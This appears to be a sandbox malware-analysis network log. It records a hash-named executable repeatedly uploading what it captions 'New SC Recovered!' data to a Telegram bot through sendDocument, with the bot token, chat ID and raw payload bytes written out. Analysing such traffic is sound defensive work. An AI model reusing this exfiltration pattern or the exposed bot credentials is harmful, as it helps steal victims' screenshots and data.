2024-05-17 23:37:43 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:37:43 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:37:43 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:37:43 UTC	1407	OUT	Data Raw: ad 4c 0d bd 33 c4 93 d9 d8 fd 82 e6 d6 0b fb 3c ee 58 6e 17 21 4f a8 3d bf 0a 35 3f 12 4f 79 63 f6 0b 6b 58 2c 2c f3 b9 a1 b7 5c 06 3e a4 f7 fc 6b 12 92 8b 05 c2 8a 28 a6 01 45 14 50 06 bd cf 89 f5 cb 8b a9 67 fe d5 bc 8b cc 72 fe 5c 57 0e a8 b9 39 c2 8c f0 07 6a 8e 5d 72 fa 79 e1 9e e2 4f 3e 68 ad a4 b6 f3 25 2c cc ca e1 c1 24 93 c9 02 43 8f a0 ac ca 29 05 c2 8a 28 a0 02 8a 28 a6 07 5d 37 8c 62 b9 8e 24 96 d1 e3 f2 d7 00 ab 06 cf f2 c7 4a 92 6f 1b 43 3c 5e 53 69 a6 20 7a ba c8 18 fe 58 1f ce b8 da 2b 25 4a 09 41 25 f0 ea b7 ef 71 b9 36 e4 ff 00 9b 73 a2 d6 3c 4a ba 8e 90 ba 72 5b 32 aa b8 6f 31 9b 93 8c f6 c7 bf ad 73 b4 51 55 18 a8 de dd 5d c1 b6 ec 9f 40 a2 8a 2a 84 6f 69 5a b2 08 96 09 db 63 2f 0a de a2 ba ed 37 53 bb b8 6d af 78 04 08 32 f2 1d a0 e3 Data Ascii: L3<Xn!O=5?OyckX,,\>k(EPgr\W9j]ryO>h%,$C)((]7b$JoC<^Si zX+%JA%q6s<Jr[2o1sQU]@*oiZc/7Smx2
2024-05-17 23:37:43 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 39 30 37 63 64 65 39 30 32 62 62 2d 2d 0d 0a Data Ascii: -----------------------------8dc8907cde902bb--
2024-05-17 23:37:43 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:37:43 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:37:43 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:38:04 UTC	238	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc9221f98904f2 Host: api.telegram.org Content-Length: 66995 Expect: 100-continue
2024-05-17 23:38:04 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 32 32 31 66 39 38 39 30 34 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 32 32 31 66 39 38 39 30 34 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 32 31 2f 32 30 32 34 20 31 38 3a 33 32 3a 35 31 0a 55 73 65 72 Data Ascii: -----------------------------8dc9221f98904f2Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dc9221f98904f2Content-Disposition: form-data; name="caption"New SC Recovered!Time: 06/21/2024 18:32:51User
2024-05-17 23:38:04 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:38:04 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:38:04 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:38:04 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:38:04 UTC	1409	OUT	Data Raw: 03 e7 da 28 a2 b5 30 36 f4 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 5c 85 3e a0 f6 fc 28 d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 4a 4a 2c 17 0a 28 a2 98 05 14 51 40 1a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d aa 39 75 cb e9 e7 86 7b 89 3c f9 a2 b6 92 db cc 94 b3 33 2b 87 04 92 4f 24 09 0e 3e 82 b3 28 a4 17 0a 28 a2 80 0a 28 a2 98 1d 74 de 31 8a e6 38 92 5b 47 8f cb 5c 02 ac 1b 3f cb 1d 2a 49 bc 6d 0c f1 79 4d a6 98 81 ea eb 20 63 f9 60 7f 3a e3 68 ac 95 28 25 04 97 c3 aa df bd c6 e4 db 93 fe 6d ce 8b 58 f1 2a ea 3a 42 e9 c9 6c ca aa e1 bc c6 6e 4e 33 db 1e fe b5 ce d1 45 54 62 a3 7b 75 77 06 db b2 7d 02 8a 28 aa 11 bd a5 6a c8 22 58 27 6d 8c bc 2b 7a 8a eb b4 dd 4e ee e1 b6 bd e0 10 20 cb Data Ascii: (06OgcX/a\>(I=-`pJJ,(Q@>'..V/1q\:39u{<3+O$>(((t18[G\?ImyM c`:h(%mX:BlnN3ETb{uw}(j"X'm+zN
2024-05-17 23:38:04 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 32 32 31 66 39 38 39 30 34 66 32 2d 2d 0d 0a Data Ascii: -----------------------------8dc9221f98904f2--
2024-05-17 23:38:04 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:38:05 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:38:05 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49742	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:38:10 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc97bb00ca1497 Host: api.telegram.org Content-Length: 66995 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:38:11 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 37 62 62 30 30 63 61 31 34 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 37 62 62 30 30 63 61 31 34 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 32 38 2f 32 30 32 34 20 32 31 3a 33 30 3a 35 36 0a 55 73 65 72 Data Ascii: -----------------------------8dc97bb00ca1497Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dc97bb00ca1497Content-Disposition: form-data; name="caption"New SC Recovered!Time: 06/28/2024 21:30:56User
2024-05-17 23:38:11 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
2024-05-17 23:38:11 UTC	16355	OUT	Data Raw: 5a bd 8e fa f2 e1 21 b2 92 79 0e d4 52 39 c6 7b 8f 4a a1 7b aa 59 4f a5 5c a2 5c a3 3b 46 40 1c 82 78 f7 ae 50 4f 32 c2 d0 89 5b ca 6e a9 9e 0f e1 51 d5 c3 02 93 bb 63 a9 99 ca 4a d1 8e 96 0a 28 a2 bd 03 c9 0a 28 a2 80 12 ba 3f 0a 4f 0c 31 dd 79 b3 47 1e 4a e3 7b 01 9e be b5 ce 51 58 d7 a5 ed 61 cb 7b 1d 38 6a fe c2 a7 3d ae 7a 17 db ec ff 00 e7 f2 0f fb fa bf e3 49 f6 fb 2f f9 fc b7 ff 00 bf ab fe 35 e7 d4 57 17 f6 7f f7 bf 0f f8 27 a3 fd ad fd cf c7 fe 01 e8 3f 6f b2 ff 00 9f cb 7f fb fa bf e3 5c 7e bf 24 72 eb 13 bc 4e ae 87 6e 19 4e 41 f9 47 7a ce a2 b6 a1 84 f6 53 e6 e6 b9 cf 89 c7 fb 78 72 72 db e7 ff 00 00 28 a2 8a ed 3c e0 a2 8a 28 03 4b c3 9f f2 1d b6 ff 00 81 7f e8 26 bb aa f3 3a 4c 0f 4a e0 c4 61 25 56 7c c9 9e a6 17 1d 1a 14 f9 1a b9 e9 b4 57 Data Ascii: Z!yR9{J{YO\\;F@xPO2[nQcJ((?O1yGJ{QXa{8j=zI/5W'?o\~$rNnNAGzSxrr(<(K&:LJa%V\|W
2024-05-17 23:38:11 UTC	16355	OUT	Data Raw: 60 8d 0b 0d c7 79 1c 81 d7 d3 f2 ae 6a ee 4a ce 3e 87 b5 80 49 d3 d4 a8 de 1d b6 8b 56 d4 a1 96 59 7e c9 6b 6f e7 23 86 1b 9b 80 47 38 fa f6 ed 5a 9e 0c b8 16 de 1f 95 d9 e1 50 6e 88 cc d2 6c 1f 71 7b e0 f3 55 b5 0d 4e d1 fc 22 b2 24 d1 9b db 88 a2 b7 91 03 8d c0 21 3c 91 d7 9e 7f 31 53 78 44 ce 3c 39 2f 90 2e 4b 7d ac e7 ec fe 5e ec 6c 5f f9 e9 c6 3f 5a e4 a8 e5 2a 6f 9f ba 47 7c 52 53 f7 4d ef ed 68 ff 00 e7 be 9f ff 00 81 9f fd 8d 62 78 b3 fe 42 b1 ff 00 d7 05 ff 00 d0 9a b4 b7 6a 5f dc d6 3f f2 4e b3 7c 59 ff 00 21 58 ff 00 eb 82 ff 00 e8 4d 59 61 d2 55 a3 6f 3f c8 cf 1b 7f ab 4e fe 5f 9a 31 28 a2 8a f6 4f 9a 0a 28 a2 80 0a 28 a2 81 85 14 51 40 05 14 51 40 09 45 2d 14 00 94 52 d1 40 09 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 01 45 14 50 02 51 4b Data Ascii: `yjJ>IVY~ko#G8ZPnlq{UN"$!<1SxD<9/.K}^l_?Z*oG\|RSMhbxBj_?N\|Y!XMYaUo?N_1(O((Q@Q@E-R@EPEPEPEPEPQK
2024-05-17 23:38:11 UTC	15447	OUT	Data Raw: 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 30 a2 8a 28 01 28 a2 8a 00 28 a2 8a 06 14 86 97 b5 25 00 14 51 45 00 25 14 51 40 c2 92 96 92 80 0a 28 a2 80 12 8a 5a 4a 06 14 51 45 00 14 94 51 4c 61 45 14 50 02 51 46 69 33 40 c5 a4 a4 a2 80 b0 67 da 93 34 51 40 c2 92 96 92 80 0a 4a 5a 4a 06 14 51 45 03 0a 4a 28 a0 02 92 96 92 81 85 14 51 40 09 45 14 50 31 0d 14 51 40 05 25 2d 25 03 0a 4a 5a 4a 00 29 29 68 a0 a1 28 a2 92 80 42 d2 51 45 00 21 a2 8a 28 18 52 52 d2 50 30 a4 a2 8a 00 4a 29 69 28 18 52 52 d2 50 30 a4 a2 8a 00 29 29 68 a0 62 51 45 14 0c 29 28 a4 a0 05 a4 a2 8a 06 1c 51 49 45 00 14 51 45 03 12 8a 28 a0 62 51 45 14 00 51 45 25 31 87 f3 a2 8f ca 83 48 62 1e 39 a2 8a 29 80 9f 8d 1c 51 45 03 0a 4e 29 69 38 a4 01 ef 47 d2 8a 29 80 94 be Data Ascii: (((RRPEP0(((%QE%Q@(ZJQEQLaEPQFi3@g4Q@JZJQEJ(Q@EP1Q@%-%JZJ))h(BQE!(RRP0J)i(RRP0))hbQE)(QIEQE(bQEQE%1Hb9)QEN)i8G)
2024-05-17 23:38:11 UTC	1409	OUT	Data Raw: 03 e7 da 28 a2 b5 30 36 f4 cf 12 4f 67 63 f6 0b 9b 58 2f ec f3 b9 61 b8 5c 85 3e a0 f6 fc 28 d4 fc 49 3d e5 8f d8 2d ad 60 b0 b3 ce e6 86 dd 70 18 fa 93 df f1 ac 4a 4a 2c 17 0a 28 a2 98 05 14 51 40 1a f7 3e 27 d7 2e 2e a5 9f fb 56 f2 2f 31 cb f9 71 5c 3a a2 e4 e7 0a 33 c0 1d aa 39 75 cb e9 e7 86 7b 89 3c f9 a2 b6 92 db cc 94 b3 33 2b 87 04 92 4f 24 09 0e 3e 82 b3 28 a4 17 0a 28 a2 80 0a 28 a2 98 1d 74 de 31 8a e6 38 92 5b 47 8f cb 5c 02 ac 1b 3f cb 1d 2a 49 bc 6d 0c f1 79 4d a6 98 81 ea eb 20 63 f9 60 7f 3a e3 68 ac 95 28 25 04 97 c3 aa df bd c6 e4 db 93 fe 6d ce 8b 58 f1 2a ea 3a 42 e9 c9 6c ca aa e1 bc c6 6e 4e 33 db 1e fe b5 ce d1 45 54 62 a3 7b 75 77 06 db b2 7d 02 8a 28 aa 11 bd a5 6a c8 22 58 27 6d 8c bc 2b 7a 8a eb b4 dd 4e ee e1 b6 bd e0 10 20 cb Data Ascii: (06OgcX/a\>(I=-`pJJ,(Q@>'..V/1q\:39u{<3+O$>(((t18[G\?ImyM c`:h(%mX:BlnN3ETb{uw}(j"X'm+zN
2024-05-17 23:38:11 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 37 62 62 30 30 63 61 31 34 39 37 2d 2d 0d 0a Data Ascii: -----------------------------8dc97bb00ca1497--
2024-05-17 23:38:11 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:38:11 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:38:11 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49743	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:38:15 UTC	238	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc9b180ffd53ff Host: api.telegram.org Content-Length: 66995 Expect: 100-continue
2024-05-17 23:38:15 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 62 31 38 30 66 66 64 35 33 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 39 62 31 38 30 66 66 64 35 33 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 37 2f 30 33 2f 32 30 32 34 20 30 34 3a 31 34 3a 33 35 0a 55 73 65 72 Data Ascii: -----------------------------8dc9b180ffd53ffContent-Disposition: form-data; name="chat_id"1165128482-----------------------------8dc9b180ffd53ffContent-Disposition: form-data; name="caption"New SC Recovered!Time: 07/03/2024 